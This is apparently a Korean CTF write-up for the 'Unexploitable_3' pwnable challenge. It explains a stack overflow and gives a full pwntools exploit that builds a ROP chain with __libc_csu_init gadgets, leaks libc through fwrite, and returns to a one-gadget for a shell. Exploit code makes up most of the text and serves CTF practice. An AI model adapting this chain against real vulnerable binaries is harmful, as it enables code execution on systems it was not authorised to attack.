보호기법은 2와 마찬가지로 NX 정도 걸려있다. main 함수에서 0x90 만큼 오버플로우가 발생한다.
gift 함수에는 fwrite 함수가 있는데, 밑부분을 보면, mov rcx, [rdi] 가젯이 있는데,
이걸로 fwrite 의 4번째 인자를 조작할 수 있다.
fwrite(fgets@got, 1, 6, 0x601050 (stdout in bss))
이렇게 호출하면 되는데, rdi, rsi, rdx 레지스터는 __libc_csu_init 가젯으로 맞추면 된다.
- pop rdi 가젯으로 rdi 에 bss 주소 넣기
- mov rcx, [rdi] 가젯으로 rcx 에 stdout 이 들어가게 된다.
- 이제 csu 가젯으로 rdi, rsi, rdx 가젯을 세팅하고, fwrite 로 leak 을 한다.
- 다시 main 으로 돌아가 원샷가젯으로 리턴
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
from pwn import *
# r=process("./Unexploitable_3")
r=remote("ctf.j0n9hyun.xyz", 3034)
b=ELF("./Unexploitable_3")
#lib=b.libc
prdi=0x0000000000400743 # pop rdi
rcx=0x0000000000400658 #mov rcx [rdi] ; ret
csu_pop=0x000000000040073a # rbx, rbp, r12,r13,r14,r15
csu_call=0x0000000000400720 # rdx=r13, rsi=r14, edi=r15d, call r12+rbx*8
# and pop * 7 ; ret
pay=b'x'*0x18
pay+=p64(prdi)
pay+=p64(0x601050)
pay+=p64(rcx)
pay+=p64(csu_pop)
pay+=p64(0)
pay+=p64(1)
pay+=p64(b.got['fwrite'])
pay+=p64(6)
pay+=p64(1)
pay+=p64(b.got['__libc_start_main'])
pay+=p64(csu_call)
pay+=p64(0)*7
pay+=p64(b.sym['main'])
pause()
r.sendlineafter("\n",pay)
base=u64(r.recv(6)+b'\x00\x00')-0x20740
log.info(hex(base))
one=[0xf1147,0xf02a4,0x4526a,0x45216]
pay2=b'x'*0x18
pay2+=p64(one[3]+base)
r.sendlineafter("\n",pay2)
r.interactive()
|
cs |
ubuntu 16.04 환경에서 진행하면 알맞은 원샷가젯들을 구할 수 있어 로컬익스가 가능하다.